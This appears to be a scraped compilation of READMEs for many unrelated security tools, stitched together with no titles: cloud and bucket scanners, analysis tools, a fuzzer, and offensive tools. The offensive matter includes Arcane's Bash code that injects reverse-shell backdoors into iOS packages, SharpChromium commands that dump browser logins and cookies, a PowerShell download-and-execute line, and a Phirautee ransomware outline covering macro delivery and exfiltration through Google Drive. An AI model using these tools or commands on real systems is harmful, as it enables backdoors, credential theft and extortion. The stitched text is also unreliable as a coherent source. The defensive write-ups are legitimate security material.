• DNS
• Web Pages (Crawler)
• S3 bucket itself (like S3 redirections)

• Various techniques for finding buckets: crawling, dns crawling and S3 responses analysis.
• Proxy support for tunneling requests.
• AWS credentials are not needed.
• Works with any S3 compatible provider, not only with AWS.
• Allows to configure custom DNS servers.
• Integrated high performanceHTTP crawler.
• Recursively search and feedback from the 3 engines: a domain found by dns crawler is send to S3 and Http Crawlers analyzer and the same for the S3 and Crawler.
• Works as 'watching' mode, listening for new domains in real time.
• Save all of the domains discovered in a separate file for further analysis.
• Allow to download bucket objects and put then in a FullText Search Engine (Redis Search) automatically, indexing the objects content allowing powerful search further.
• Limit the search for specific domain/s.

Python 3.8 of above needed!

$ pip install festin
$ festin -h

$ docker run --rm -it cr0hn/festin -h

$ festin -h
usage: __main__.py [-h] [--version] [-f FILE_DOMAINS] [-w] [-c CONCURRENCY] [--no-links] [-T HTTP_TIMEOUT] [-M HTTP_MAX_RECURSION] [-dr DOMAIN_REGEX] [-rr RESULT_FILE] [-rd DISCOVERED_DOMAINS] [-ra RAW_DISCOVERED_DOMAINS]
                   [--tor] [--debug] [--no-print] [-q] [--index] [--index-server INDEX_SERVER] [-dn] [-ds DNS_RESOLVER]
                   [domains [domains ...]]

Festin - the powered S3 bucket finder and content discover

positional arguments:
  domains

optional arguments:
  -h, --help            show this help message and exit
  --version             show version
  -f FILE_DOMAINS, --file-domains FILE_DOMAINS
                        file with domains
  -w, --watch           watch for new domains in file domains '-f' option
  -c CONCURRENCY, --concurrency CONCURRENCY
                        max concurrency

HTTP Probes:
  --no-links            extract web s   ite links
  -T HTTP_TIMEOUT, --http-timeout HTTP_TIMEOUT
                        set timeout for http connections
  -M HTTP_MAX_RECURSION, --http-max-recursion HTTP_MAX_RECURSION
                        maximum recursison when follow links
  -dr DOMAIN_REGEX, --domain-regex DOMAIN_REGEX
                        only follow domains that matches this regex

Results:
  -rr RESULT_FILE, --result-file RESULT_FILE
                        results file
  -rd DISCOVERED_DOMAINS, --discovered-domains DISCOVERED_DOMAINS
                        file name for storing new discovered after apply filters
  -ra RAW_DISCOVERED_DOMAINS, --raw-discovered-domains RAW_DISCOVERED_DOMAINS
                        file name for storing any domain without filters

Connectivity:
  --tor                 Use Tor as proxy

Display options:
  --debug               enable debug mode
  --no-print            doesn't print results in sc   reen
  -q, --quiet           Use quiet mode

Redis Search:
  --index               Download and index documents into Redis
  --index-server INDEX_SERVER
                        Redis Search ServerDefault: redis://localhost:6379

DNS options:
  -dn, --no-dnsdiscover
                        not follow dns cnames
  -ds DNS_RESOLVER, --dns-resolver DNS_RESOLVER
                        comma separated custom domain name servers

> festin mydomain.com

> cat domains.txt
domain1.com
domain2.com
domain3.com
> festin -f domains.txt 

> festin -c 10 mydomain.com 

Be carefull with the number of concurrency test or "alarms" could raises in some web sites.

• Timeout (-T or --http-timeout): configure a timeout for HTTP connections. If website of the domain you want to analyze is slow, we recommend to increase this value. By default timeout is 5 seconds.
• Maximum recursion (-H or --http-max-recursion): this value setup a limit for crawling recursion. Otherwise FestIn will scan all internet. By default this value is 3. It means that only will follow: domain1.com -> [link] -> domain2.com -> [link] -> domain3.com -> [link] -> Maximum recursion reached. Stop
• Limit domains (-dr or --domain-regex): set this option to limit crawler to these domains that matches with this regex.

> festin -T 20 -H 8 -dr *mydomain* mydomain.com 

• FestIn result file (-rr or --result-file): this file contains one JSON per line with buckets found by them. Each JSON includes: origin domain, bucket name and the list of objects for the bucket.
• Filtered discovered domains file (-rd or --discovered-domains): this file contains one domain per line. These domains are discovered by the crawler, dns or S3 probes but only are stored these domains that matches with user and internal filters.
• Raw discovered domains file (-ra or --raw-discovered-domains ): this file contains all domains, one per line, discovered by FestIn without any filter. This option is useful for post-processing and analyzing.

> festin -rr festin.results -rd discovered-domains.txt -ra raw-domains.txt mydomain.txt 

> festin -rd domains.txt && nmap -Pn -A -iL domains.txt -oN nmap-domains.txt 

> tor &
> festin --tor mydomain.com 

• Disable DNS discovery (-dn or --no-dnsdiscover)
• Custom DNS server (-ds or --dns-resolver): setup custom DNS server. If you plan to perform a lot of tests you should use a different DNS server like you use to your browser.

> festin -ds 8.8.8.8 mydomain.com 

• Enable indexing (--index): to enable the indexing to the search engine you must setup this flag.
• Redis Search config (--index-server): you only need to setup this option if your server is running in a different IP/Port that: localhost:6379.

> docker run --rm -p 6700:6379 redislabs/redisearch:latest -d
> festin --index --index-server redis://127.0.0.1:6700 mydomain.com

Pay attention to option `--index-server` is must has the prefix **redis://** 

> festin --watch -f domains.txt 

> echo "my-second-domain.com" >> domains.txt 
> echo "another-domain.com" >> domains.txt 

>  dnsrecon -d target.com -t crt -c target.com.csv

> tail -n +2 target.com.csv | sort -u | cut -d "," -f 2 >> target.com.domains

>  festin -f target.com.domains -c 5 -rr target.com.result.json --tor -ds 212.166.64.1 >target.com.stdout 2>target.com.stderr

• target.com.result.json - Main result file with one line per bucket found. Each line is a JSON object.
• target.com.stdout - The standard output of festin command execution
• target.com.stderr - The standard error of festin command execution

> festin target.com -rr target.com.result.json 

> festin target.com -c 5 -rr target.com.result.json --tor -ds 212.166.64.1 

1. files_name it holds the frequency of the found file-names associate with kits. In other words every phishing kit is saved on the phishing host with a name. filke_name keeps track about every file names and its frequency. If you are wondering why am I not tracking hashes, is because phishing kits are big compressed archives, so it would make no sense at this stage since they always differ each other (but check in src folder for additional information)
2. sites hols the frequency of the hosting domain names. In other words where the phishing kit was found. No duplicates are tracked by meaning that the frequency and the file names are unique. So for example if you see something like: 3 li.humanbiomics-project.org it means that in li.humanbiomics-project.org have been found three different Phishing Kits over time. Both of these files have been generate by simple bash scripts like:

• ls raw/ | cut -d'_' -f1 | uniq -c | sort -bgr > stats/sites.txt
• ls raw/ | cut -d'_' -f2 | uniq -c | sort -bgr > stats/files_name.txt

• FileA is PhishingKit which is considered in that analysis.
• FileB is the PhishingKit to be compared to PhishingKit FileA
• SimilarityAVG is the Average in similarity. That average is calculated by computing the similarity check to every single (interesting) file in the PhishingKit archive (FileA) to every single (interesting) file in the PhishingKit archive to be compared (FileB)
• SimilarityMin is the lowest similarity value found between PhishingKitA and PhishingKitB
• SimilarityMax is the highest similarity value found between PhishingKitA and PhishingKitB

EXTENSION_FOR_ANALYSIS = ['.html','.js','.vbs','.xls','.xlsm','.doc','.docm', '.ps1']
OUTPUT_FILE =  'similarity.csv'                                                 
RAW_FOLDER = '/tmp/raw/'                                                        
TEMP_FOLDER = '/tmp/tt'     

# Extracts Zip files based on EXTENSION_FOR_ANALYSIS. It returns the etire file
# path for future works
def extractZipAndReturnsIntereistingFiles(file_to_extract):
    interesting_files = []
    n_interesting_files = []
    try:
        with ZipFile(file_to_extract, 'r') as zipObj:
            listOfFileNames = zipObj.namelist()
            for fileName in listOfFileNames:
                for ext in EXTENSION_FOR_ANALYSIS:
                    if fileName.endswith(ext):
                        try:
                            zipObj.extract(fileName, TEMP_FOLDER)
                            interesting_files.append(os.path.join(TEMP_FOLDER, fileName))
                        except Exception as e:
                            continue
                    else:
                        n_interesting_files.append(os.path.join(TEMP_FOLDER, fileName))
    except Exception as e :
        return intere   sting_files
    return interesting_files

@misc{ MR,
       author = "Marco Ramilli",
       title = "Phishing Kits Tracker",
       year = "2020",
       url = "https://marcoramilli.com/2020/07/13/introducing-phishingkittracker/",
       note = "[Online; July 2020]"
     }

• Alen Pavlovic for the amazing image that I borrowed from here
• agarwalkeshav8399 for code similarity algorithms from here

 _____ _                       ___              _                _
/  ___| |                     / _ \            | |              | |
\ `--.| |__   __ _ _ __ _ __ / /_\ \_ __  _ __ | |     ___   ___| | _____ _ __
 `--. \ '_ \ / _` | '__| '_ \|  _  | '_ \| '_ \| |    / _ \ / __| |/ / _ \ '__|
/\__/ / | | | (_| | |  | |_) | | | | |_) | |_) | |___| (_) | (__|   <  __/ |
\____/|_| |_|\__,_|_|  | .__/\_| |_/ .__/| .__/\_____/\___/ \___|_|\_\___|_|
                       | |         | |   | |
                       |_|         |_|   |_|



 V1.0.0 - by Flangvik & Jean_Maes_1994


Usage:
  -h, -?, --help             Show Help

  -l, --local                Queries local applocker config

  -d, --domain               Queries domain applocker config (needs an ldap
                               path)

  -e, --effective            Queries the effective applocker config on this
                                  computer

  -x, --xml                  output applocker in XML format (default is json)

      --ldap=VALUE           the ldap filter to query the domain policy from

go get github.com/saeeddhqan/evine
"$GOPATH/bin/evine" -h

git clone https://github.com/saeeddhqan/evine.git
cd evine
go build .
mv evine /usr/local/bin
evine --help

evine -h

• URL: In this view, you should enter the URL string.
• Options: This view is for setting options.
• Headers: This view is for setting the HTTP Headers.
• Keys: This view is used after the crawling web. It will be used to extract the data(docs, URLs, etc) from the web pages that have been crawled.
• Regex: This view is useful to search the Regexes in web pages that have been crawled. Write your Regex in this view and press Enter.
• Response: All of the results write in this view
• Search: This view is used to search the Regexes in the Response content.

• Archive crawler as seeds
• JSON output

• Yara: just use the latest release source code, compile and install it (or install it via pip install yara-python)
• Yara Rules - You may download yara rules from here or import your own custom ruleset.
• Python dependencies

• Scans new files with inotify
• Polling if inotify is not supported
• Custom extensions are supported
• Delete mode will delete matched file
• Recursive directory scan
• Lists matched Yara functions with yarastrings with ctime
• CSV results for Filebeat

dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp

tree /tmp/whois-decomp/

/tmp/whois-decomp/
├── DEBIAN
│   ├── control
│   └── postinst
└── usr
└── bin
└── whois

# The "post-installation" file. This file is generally responsible
# for executing commands on the OS after installing the required
# files. It's utilized by developers to manage and maintain various
# aspects of an installation. Arcane abuses this functionality by
# appending malicious Bash commands to the file.
postinst="$tmp/DEBIAN/postinst";

# A function to handle the type of command execution embedded into the
# postinst file.
function inject_backdoor ()
{
    # If --file is used, `cat` the command(s) into the postinst file.
    if [[ "$infile" ]]; then
        cat "$infile" >> "$postinst";
        embed="[$infile]";
    else
        # If no --file, utilize the simple Bash payload, previously
        # defined.
        echo -e "$payload" >> "$postinst";
        embed="generic shell command";
    fi;
    status "embedded $embed into postinst" "error embedding backdoor"   ;
    chmod 0755 "$postinst"
};

# The "control" file template. Most iOS packages will include a
# control file. In the event one is not found, Arcane will use the
# below template. The `$hacker` variable is used here to occupy
# various arbitrary fields.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";

...

# An `if` statement to check for the control file.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
    # If no control is detected, create it using the template.
    echo "$controlTemp" > "$tmp/DEBIAN/control";
    status "created control file" "error with control template";
else
    # If a control file exists, Arcane will simply rename t   he package
    # as it appears in the list of available Cydia applications. This
    # makes the package easier to location in Cydia.
    msg "detected control file" succ;
    sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
    status "modified control file" "error with control";
fi;

sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dependencies
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help

./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attacker> --lport <4444> --cydia --netcat

ls -la samples/

-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root  76688 Aug 29  2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root  60866 Jul  8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root  13810 Aug 29  2018 whois_5.3.2-1_iphoneos-arm.deb

md5sum samples/*.deb

3f1712964701580b3f018305a55e217c  samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f  samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0  samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7  samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16  samples/whois_5.3.2-1_iphoneos-arm.deb

• Python 2 or Python 3
• itsdangerous
• Flask

# pacman -S flask-session-cookie-manager{3,2}

$ git clone https://github.com/noraj/flask-session-cookie-manager.git && cd flask-session-cookie-manager
# makepkg -sic

$ git clone https://github.com/noraj/flask-session-cookie-manager.git && cd flask-session-cookie-manager
$ python -m venv venv
$ source venv/bin/activate
$ python setup.py install

usage: flask_session_cookie_manager{2,3}.py [-h] {encode,decode} ...

Flask Session Cookie Decoder/Encoder

positional arguments:
  {encode,decode}  sub-command help
    encode         encode
    decode         decode

optional arguments:
  -h, --help       show this help message and exit

usage: flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

optional arguments:
  -h, --help            show this help message and exit
  -s <string>, --secret-key <string>
                        Secret key
  -t <string>, --cookie-structure <string>
                        Session cookie structure

usage: flask_session_cookie_manager.py decode [-h] [-s <string>] -c <string>

optional arguments:
  -h, --help            show this help message and exit
  -s <string>, --secret-key <string>
                        Secret key
  -c <string>, --cookie-value <string>
                        Session cookie value

$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
{u'username': 'admin', u'number': '326410031505'}

$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw'
{"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}

• Standalone application and IDAPython plugin
• Supports Windows/Linux/Mac
• Rainbow PE ratio map:
  • High-level overview of PE structures, size and file location
  • Allows for fast visual comparison of PE samples
• Displays the following PE headers in a tree view:
  • MZ header
  • DOS stub
  • Rich headers
  • NT/File/Optional headers
  • Data directories
  • Sections
  • Imports
  • Exports
  • Debug information
  • Load config
  • TLS
  • Resources
  • Version information
  • Certificates
  • Overlay
• Extract and save data from:
  • DOS stub
  • Sections
  • Resources
  • Certificates
  • Overlay
• Send data to CyberChef
• VirusTotal search of:
  • File hashes
  • PDB path
  • Timestamps
  • Section hash/name
  • Import hash/name
  • Export name
  • Resource hash
  • Certificate serial
• Standalone application;
  • Double-click VA/RVA to disassemble with capstone
  • Hex-dump data
• IDAPython plugin:
  • Easy navigation of PE file structures
  • Double-click VA/RVA to view in IDA-view/hex-view
  • Search IDB for in-memory PE files;
    • Reconstruct imports (IAT + IDT)
    • Dump reconstructed PE files
    • Automatically comment PE file structures in IDB
    • Automatically label IAT offsets in IDB

• Python 3+

> virtualenv env
> env\Scripts\activate
> pip install --upgrade pip
> pip install git+https://github.com/blackberry/pe_tree.git

$ python3 -m venv env
$ source ./env/bin/activate
$ pip install --upgrade pip
$ pip install git+https://github.com/blackberry/pe_tree.git

> git clone https://github.com/blackberry/pe_tree.git
> cd pe_tree
> virtualenv env
> env\Scripts\activate
> pip install -e .

$ git clone https://github.com/blackberry/pe_tree.git
$ cd pe_tree
$ python3 -m venv env
$ source ./env/bin/activate
$ pip install -e .

$ pip install qdarkstyle

• IDA Pro 7.0+ with Python 2.7
• IDA Pro 7.4+ with Python 2.7 or 3.x

1. Download pe_tree and install for the global Python interpreter used by IDA:
   

   $ git clone https://github.com/blackberry/pe_tree.git
   $ cd pe_tree
   $ python setup.py develop --ida

2. Copy pe_tree_ida.py to your IDA plugins folder
   

1. Download pe_tree and install requirements for the global Python interpreter used by IDA:
   

   $ git clone https://github.com/blackberry/pe_tree.git
   $ cd pe_tree
   $ pip install -r requirements.txt

2. Copy pe_tree_ida.py and the contents of ./pe_tree/ to your IDA plugins folder
   

$ pip install -r requirements.txt

1. Run IDA and disassemble a PE file (select Manual Load and Load Resources for best results!)
2. Click Edit -> Plugins -> PE Tree

1. Launch IDA Pro and disassemble an MPRESS or UPX packed PE file (select Manual Load and Load Resources)
2. Select debugger (Windows or Bochs) and run until OEP (usually 0x00401000)
3. At this point you could take a memory snapshot (saving all segments) and save the IDB for later
4. Ensure IDA has found all code Options -> General -> Analysis -> Reanalyze program
5. Open PE Tree, right-click and choose Add PE -> Search IDB
6. Right click on HEADER-0x00400000 (or appropriate module) and select Dump...
7. Specify the AddressOfEntryPoint (typically 0x1000)
8. Ensure Rebuild imports is selected
9. Dump!

[config]
debug = False
fonts = Consolas,Monospace,Courier
virustotal_url = https://www.virustotal.com/gui/search
cyberchef_url = https://gchq.github.io/CyberChef

[dump]
enable = True
recalculate_pe_checksum = False

$ pip install --upgrade pip

pip uninstall PyQt5
pip uninstall PyQt5-sip
pip install PyQt5 PyQt5-sip

$ pip install sphinx
$ sphinx-apidoc -o ./doc/source/ .
$ sphinx-build -b html ./doc/source ./doc/build -E

1. AzureStealth - Scans Azure environments
2. AWStealth - Scan AWS environments

1. Download/sync locally the SkyArk project
2. Open PowerShell in the SkyArk folder with the permission to run scripts:
   "powershell -ExecutionPolicy Bypass -NoProfile"
3. Run the following commands:

(1) Import-Module .\SkyArk.ps1 -force
(2) Start-AzureStealth

   (1) IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')  
   (2) Scan-AzureAdmins  

1. Download/sync locally the SkyArk project
2. Open PowerShell in the SkyArk folder with the permission to run scripts:
   "powershell -ExecutionPolicy Bypass -NoProfile"
3. Run the following commands:

(1) Import-Module .\SkyArk.ps1 -force
(2) Start-AWStealth

• Cookies (in JSON format)
• History (with associated cookies for each history item)
• Saved Logins

• No Type compilation or reflection required
• Cookies are displayed in JSON format, for easy importing into Cookie Editor.
• No downloading SQLite assemblies from remote resources.
• Supports major Chromium browsers (but extendable to others)

Usage:
    .\SharpChromium.exe arg0 [arg1 arg2 ...]

Arguments:
    all       - Retrieve all Chromium Cookies, History and Logins.
    full      - The same as 'all'
    logins    - Retrieve all saved credentials that have non-empty passwords.
    history   - Retrieve user's history with a count of each time the URL was
                visited, along with cookies matching those items.
    cookies [domain1.com domain2.com] - Retrieve the user's cookies in JSON format.
                                        If domains are passed, then return only
                                        cookies matching those domains. Otherwise,
                                        all cookies are saved into a temp file of
                                        the format ""%TEMP%\$browser-cookies.json""

.\SharpChromium.exe cookies docs.google.com github.com

.\SharpChromium.exe history

.\SharpChromium.exe logins

• Support for AFL-Qemu mode
• Support for grammars specified in python
• Support for non-context free grammars using python scripts to generate inputs from the structure
• Support for specifying binary protocols/formats
• Support for specifying regex based terminals that aren't part of the directed mutations
• Better ability to avoid generating the same very short inputs over and over
• Massive cleanup of the code base
• Helpful error output on invalid grammars
• Fixed a bug in the the timeout code that occasionally deadlocked the fuzzer

# checkout the git
git clone 'git@github.com:nautilus-fuzz/nautilus.git'
cd nautilus
/path/to/AFLplusplus/afl-clang-fast test.c -o test #afl-clang-fast as provided by AFL

# all arguments can also be set using the config.ron file
cargo run --release -- -g grammars/grammar_py_example.py -o /tmp/workdir -- ./test @@

# or if you want to use QEMU mode:
cargo run /path/to/AFLplusplus/afl-qemu-trace -- ./test_bin @@

#ctx.rule(NONTERM: string, RHS: string|bytes) adds a rule NONTERM->RHS. We can use {NONTERM} in the RHS to request a recursion. 
ctx.rule("START","<document>{XML_CONTENT}</document>")
ctx.rule("XML_CONTENT","{XML}{XML_CONTENT}")
ctx.rule("XML_CONTENT","")

#ctx.script(NONTERM:string, RHS: [string]], func) adds a rule NONTERM->func(*RHS). 
# In contrast to normal `rule`, RHS is an array of nonterminals. 
# It's up to the function to combine the values returned for the NONTERMINALS with any fixed content used.
ctx.script("XML",["TAG","ATTR","XML_CONTENT"], lambda tag,attr,body: b"<%s %s>%s</%s>"%(tag,attr,body,tag) )
ctx.rule("ATTR","foo=bar")
ctx.rule("TAG","some_tag")
ctx.rule("TAG","other_tag")

#sometimes we don't want to explore the set of possible inputs in more detail. For example, if we fuzz a script
#interpreter, we don't want to spend time on fuzzing all different variable names. In such cases we can use Regex
#terminals. Regex terminals are only mutated during generation, but not during normal mutation stages, saving a lot of time. 
#The fuzzer still explores different values for the regex, but it won't be able to learn interesting values incrementally. 
#Use this when incremantal exploration would most likely waste time.

ctx.regex("TAG","[a-z]+")

$ cargo run --bin generator -- -g grammars/grammar_py_exmaple.py -t 100 
<document><some_tag foo=bar><other_tag foo=bar><other_tag foo=bar><some_tag foo=bar></some_tag></other_tag><some_tag foo=bar><other_tag foo=bar></other_tag></some_tag><other_tag foo=bar></other_tag><some_tag foo=bar></some_tag></other_tag><other_tag foo=bar></other_tag><some_tag foo=bar></some_tag></some_tag></document>

#Terminal/Screen 1
./afl-fuzz -Safl -i /tmp/seeds -o /tmp/workdir/ ./test @@

#Terminal/Screen 2
cargo run --release -- -o /tmp/workdir -- ./test @@

• https://github.com/Microsoft/ChakraCore/issues/5503
• https://github.com/mruby/mruby/issues/3995 (CVE-2018-10191)
• https://github.com/mruby/mruby/issues/4001 (CVE-2018-10199)
• https://github.com/mruby/mruby/issues/4038 (CVE-2018-12248)
• https://github.com/mruby/mruby/issues/4027 (CVE-2018-11743)
• https://github.com/mruby/mruby/issues/4036 (CVE-2018-12247)
• https://github.com/mruby/mruby/issues/4037 (CVE-2018-12249)
• https://bugs.php.net/bug.php?id=76410
• https://bugs.php.net/bug.php?id=76244

pkg install security/bastillion

http://www.oracle.com/technetwork/java/javase/downloads/index.html

 export JAVA_HOME=/path/to/jdk
 export PATH=$JAVA_HOME/bin:$PATH

 set JAVA_HOME=C:\path\to\jdk
 set PATH=%JAVA_HOME%\bin;%PATH%

    ./startBastillion.sh

    startBastillion.bat

http://maven.apache.org

https://github.com/bastillion-io/lmvc

export JAVA_HOME=/path/to/jdk
export M2_HOME=/path/to/maven
export PATH=$JAVA_HOME/bin:$M2_HOME/bin:$PATH

mvn package jetty:run

username:admin
password:changeme

#set to false to disable key management. If false, the Bastillion public key will be appended to the authorized_keys file (instead of it being overwritten completely).
keyManagementEnabled=false

#authorized_keys refresh interval in minutes (no refresh for <=0)
authKeysRefreshInterval=120

#set to true to generate keys when added/managed by users and enforce strong passphrases set to false to allow users to set their own public key
forceUserKeyGeneration=false

#set to true to regenerate and import SSH keys  --set to true
resetApplicationSSHKey=true

#SSH Key Type 'dsa' or 'rsa'
sshKeyType=rsa

#private key  --set pvt key
privateKey=/Users/kavanagh/.ssh/id_rsa

#public key  --set pub key
publicKey=/Users/kavanagh/.ssh/id_rsa.pub

#default passphrase  --leave blank if passphrase is empty
defaultSSHPassphrase=myPa$$w0rd

#Database user
dbUser=bastillion
#Database password
dbPassword=p@$$w0rd!!
#Database JDBC driver
dbDriver=org.h2.Driver
#Connection URL to the DB
dbConnectionURL=jdbc:h2:keydb/bastillion;CIPHER=AES;

#Connection URL to the DB
dbConnectionURL=jdbc:h2:tcp://<host>:<port>/~/bastillion;CIPHER=AES;

#specify a external authentication module (ex: ldap-ol, ldap-ad).  Edit the jaas.conf to set connection details
jaasModule=ldap-ol

ldap-ol {
 com.sun.security.auth.module.LdapLoginModule SUFFICIENT
 userProvider="ldap://hostname:389/ou=example,dc=bastillion,dc=com"
 userFilter="(&(uid={USERNAME})(objectClass=inetOrgPerson))"
 authzIdentity="{cn}"
 useSSL=false
 debug=false;
};

ldap-ol-with-roles {
    //openldap auth with roles that can map to profiles
    org.eclipse.jetty.jaas.spi.LdapLoginModule required
    debug="false"
    useLdaps="false"
    contextFactory="com.sun.jndi.ldap.LdapCtxFactory"
    hostname="<SERVER>"
    port="389"
    bindDn="<BIND-DN>"
    bindPassword="<BIND-DN PASSWORD>"
    authenticationMethod="simple"
    forceBindingLogin="true"
    userBaseDn="ou=users,dc=bastillion,dc=com"
    userRdnAttribute="uid"
    userIdAttribute="uid"
    userPasswordAttribute="userPassword"
    userObjectClass="inetOrgPerson"
    roleBaseDn="ou=groups,dc=bastillion,dc=com"
    roleNameAttribute="cn"
    roleMemberAttribute="member"
    roleObjectClass="groupOfNames";
};

https://github.com/bastillion-io/Bastillion/blob/master/src/main/resources/log4j2.xml#L19-L22

#enable audit  --set to true to enable
enableInternalAudit=true

• JSch Java Secure Channel - by ymnk
• term.js A terminal written in javascript - by chjj

• sean.p.kavanagh6@gmail.com
• https://twitter.com/spkavanagh6

pip install awsreport

• Search IAM users based on creation date
• Search buckets public
• Search security based in rules, default is 0.0.0.0/0
• Search elastic ip dissociated
• Search volumes available
• Search AMIs with permission public
• Search internet gateways detached

aws_report.py [OPTIONS]

Options:
  --s3          Search buckets public in s3
  --iam         Search iam users based on creation date
  --iam-max-age Use max-age to search for users created more than X days ago
  --sg          Search security groups with inbound specific rule
  --elasticip   Search elastic IP not associated
  --volumes     Search volumes available
  --ami         Search AMIs with permission public
  --owner       Defines the owner of the resources to be found
  --igw         Search internet gateways detached
  --help        Show this message and exit.

Examples:
    python awsreport.py --s3
    python awsreport.py --iam --owner 296192063842
    python awsreport.py --iam --iam-max-age 60
    python awsreport.py --sg --cidr 192.168.1.0/24 or
    python awsreport.py --sg (cidr default is 0.0.0.0)

[+] Twitter: @bsd0x1
[+] Telegram: @bsd0x
[+] Github: /bsd0x

• EC2
• VPC
• ENI
• SecurityGroups

• Add IOC and store them into elasticsearch/s3.
• Live centralized inventory/config information related to AWS/NON-AWS resources.
• Automatically evaluate resources against other platforms/analyzers.

• VPC
• EC2
• ENI
• Security Groups

• WAZUH (comming soon)

./
 |- dagobah.py (main control for manual/automated exec)
 |- modules/
             |- collector.py (query collection objects)
             |- iam_aws.py (iam stuff for aws multi account-role)
             |- setup.py (elk setup)
             |- analizer.py (analyzer for add external info to the collector)

• wazuh information (comming soon)
• running time EC2
• security group rule status (open/closed) Each result is stored in the inventory index of elasticsearch.

• lambda functions
• aws elb/nlb
• dns route53
• iam / trustadvisor
• s3 buckets
• eks/fargate
• transit-gateways
• api gateway

• apt update
• apt install git curl -y
• git clone git://github.com/htr-tech/unfollow-plus.git
• cd unfollow-plus

apt update ; apt install git curl -y ; git clone git://github.com/htr-tech/unfollow-plus.git ; cd unfollow-plus ; bash unfollower.sh

• Ransom pop-up window:

• Desktop background upon successful infection:

• Performing any hack attempts or tests without written permission from the owner of the computer system is illegal.
• If you recently suffered a breach or targeted by a ransomware and found techniques or tools illustrated in this presentation similar, this neither incriminates my involvement in any way, nor implies any connection between myself and the attackers.
• The tools and techniques remain universal and penetration testers and security consultants often uses them during engagements.
• Phirautee project must not be used for illegal purposes. It is strictly for educational and research purposes and for people to experiment with.

• Phirautee is a proof of concept ransomware tool written purely using PowerShell.
  
• It uses Living off the Land (LotL) commands to work against the operating system to encrypt files on the machine.
  
• This tool can be used during internal infrastructure penetration testing or during the red team exercise to validate Blue Team/SOC response to ransom attacks.
  
• It uses public key cryptography to encrypt user content and exfiltrates large files via Google Drive.
  
• Upon successful attack the ransomware asks for a payment of 0.10 BTC (~1k USD).
  
• Detection:
  
  • File extension of the encrypted files are changed to “.phirautee”
  • Desktop wallpaper of the compromised host is changed with Phirautee background
  • Desktop will have Phirautee.txt file

• Phishing server and domain to target an organisation.
  
• Email server to send malicious documents as an attachment to the targeted user.
  
• Macro embedded file as an attachment to user which pulls the ransomware from the remote server to targeted machine and runs it in a memory.
  
• Modify couple of parameters in the ransomware file to utilise it for your use case.
  
• For data exfiltration:
  
  • Throwaway Gmail account
  • Gmail API access to a throwaway Google Drive
  • Setup web application on the Google

• Phirautee uses two unique symmetric keys
  
  • One for the private key of the certificate that’s being generated on the user machine.
  • The other one for uploading exfiltrated data on Google Drive
• The private keys are sent to Pokemail as a zip encrypted files.
  
• Phirautee uses Pokemail services to distribute the attack infrastructure by creating a random location based email address.

• Uses 2048 bits RSA key to encrypt files on the infected machine.
  
• Private key of the certificate gets sent to attacker using a pre-shared secret aka symmetric keys.
  

File paths:
C:\temp\cert.cer
c:\temp\sys.txt
c:\temp\backup.zip
c:\temp\sys1.txt
c:\temp\steal.zip
C:\users\$env:USERNAME\PhirauteeBackground-3.jpg

MD5s:
77EA9D33D144072F7B35C10691124D16
4E123FF3A7833F0C8AC6F749D337444D

Domains used for exfil:
https://smtp.pokemail.net
https://www.googleapis.com
https://accounts.google.com
https://raw.githubusercontent.com 

Registry files:
HKCU:\Control Panel\Desktop

• Network segmentation and detection of lateral movement. Follow principle of least privilege access or restrict access to sensitive servers. Make use of MFA on all important portals.
  
• Disable PowerShell for standard domain users and perform application whitelisting.
  
• Frequent network wide backups (if possible offline).
  
• Apply patches and have a vulnerability management program.
  
• Have a dedicated incident response team and develop a plan for ransomware events.
  
• Invest in a good IDS/IPS/EDR/AV/CASB product.
  
• Validate the effectiveness of your defense tools and technologies through pre-approved offensive exercise.
  
• Organise phishing and user education training sessions for your employees.
  
